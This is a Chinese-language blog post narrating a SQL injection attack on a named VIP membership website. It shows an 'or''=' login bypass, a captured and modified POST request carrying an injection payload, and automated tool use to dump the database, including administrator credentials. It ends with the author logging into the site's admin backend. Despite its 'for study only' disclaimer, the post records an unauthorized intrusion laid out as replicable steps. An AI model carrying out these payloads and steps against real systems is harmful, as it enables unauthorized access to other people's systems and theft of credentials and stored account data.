【2016-09-05】:剛發現漏洞時,我就已經成功實現了注入,因為怕發到網上後被玩壞,一直沒有釋出。今天去看了看,原網頁已經無法訪問了,現在發出來應該就沒有什麼大問題了。
本文僅供學習交流,目的是為了構建更加安全的網路環境!
注入地址
某VIP會員專用系統 http://www.tcmpv.com/index.php/Home/Public/login.html
相關工具
注入工具:
超級SQL隱碼攻擊工具【SSQLInjection】http://www.shack2.org/article/1417357815.html
明小子
抓包工具:
Wireshark
注入過程
一看這種很low的系統就有可能存在漏洞
廢話不多說,輸入單引號” ‘ “進行測試:
輸入單引號
測試結果
看到測試結果報資料庫錯誤,這就證明該系統存在SQL隱碼攻擊漏洞。而且這些粗心的程式猿連資料庫表名都直接暴露出來了(tp_login),這不就等於直接寫著:
“我有漏洞,歡迎注入!”
進一步測試,輸入” ‘or”=’ “,點確定,直接就登入成功了,如下圖
輸入” ‘or”=’ “,點確定
登入成功
不用密碼,直接進去了,看來漏洞真的存在!
接下來測試下能不能使用注入語句,這裡有兩個選擇:
- 繼續使用or語句
- 找到真實密碼
or語句前面已經有說明,這裡就以知道密碼的情況作說明(or語句原理相同)
網頁上直接給出了獲取密碼的方式:
加群,拿到密碼:3389
構造新的注入語句:” 3389′ and 1=1 and ‘a’=’a “,測試:
再次成功登入,確認可以進行注入攻擊。
接下來就可以對資料庫進行資料庫名(前面提到,登入錯誤資訊中已經包含了資料庫名”tp_login”,真是省事啊)、表名、列名……的猜測了
手動猜測的具體方法可以參考這裡:
sql注入例項分析(http://www.cnblogs.com/leftshine/p/SQLInjection.html)
當然手動猜測的量太大了,這麼勞神費力的事當然要交給程式來完成,不過還是強烈建議看看這篇文章來了解下SQL隱碼攻擊的基本原理,不然後面操作一片茫然。
因為該系統不能簡單通過網頁URL來傳遞資訊,所以我們需要構造資料包以POST方式傳送資料包來注入。
根據POST資料包結構手動構造一個用於注入的資料包,具體怎麼構造那就要去好好學習網路協議了……
這就簡單多了,我們直接抓取正常傳送的資料包,加以改造就可以用來注入了!
這裡我們使用Wireshark來抓包,關於Wireshark抓取與分析HTTP包,參考這裡:應用層協議FTP、DNS協議、HTTP協議分析(http://www.cnblogs.com/leftshine/p/5698890.html)
使用Wireshark抓取到的POST資料包內容如下:
POST /index.php/Home/Public/do_login.html HTTP/1.1
Host: www.tcmpv.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.tcmpv.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.tcmpv.com/index.php/Home/Public/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
key=3389
修改成注入使用的POST包:
POST /index.php/Home/Public/do_login.html HTTP/1.1
Referer: http://www.tcmpv.com/index.php/Home/Public/login.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 8
Host: www.tcmpv.com
Connection: Keep-Alive
Pragma: no-cache
Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
key=3389%’)#inject##
這個資料包可以由軟體”超級SQL隱碼攻擊工具”根據上面的包自動生成,具體操作請參考軟體壓縮包中相應的使用說明。
其實我們只要將抓取到的資料包粘程式序中,然後點選”自動識別”,軟體就會自動進行相應配置,然後看情況改改就可以了(一般情況下,自動配置就可以搞定了)。
配置完後,點選”傳送資料”驗證當前配置的資料包是否符合條件,若能夠正確返回網頁資訊,則配置可用:
正確返回網頁資訊
雖然圖中顯示”登入失敗”,但證明可以正確返回網頁資訊,配置可用!
點選獲取資料
獲取資料
然後轉到資料中心,依次”獲取庫”、”獲取表”、”獲取列”、”獲取資料”:
資料庫資訊一覽無餘
可以看到,確實有名為”tp_login”的表和”3389″這個密碼。
接下來就可以隨心所欲的獲取資料了。
獲取到的資料
獲取到的管理員賬號資訊:
管理員賬號資訊
有了管理員賬號資訊,如何使用呢?上第二個軟體:”明小子”,其實它本身就是一個注入工具,不知道是不是年代太久遠了……好多功能不實用。這裡我們只用到”管理入口掃描”功能,如下圖:
管理入口掃描
獲取到了4個連結,挨個開啟看,發現這個可以用:
http://www.tcmpv.com/index.php/Admin/Public/login.html
管理員登入
輸入賬號密碼,登入
登入成功
登入成功,看到笑臉真是開心!
成功進入後臺
成功進入管理後臺,發現並沒有什麼價值的資訊,倒是有很多某視訊網站的VIP賬號,也不造這些萬人騎的賬號能不能用……
至此,整個SQL隱碼攻擊成功完成!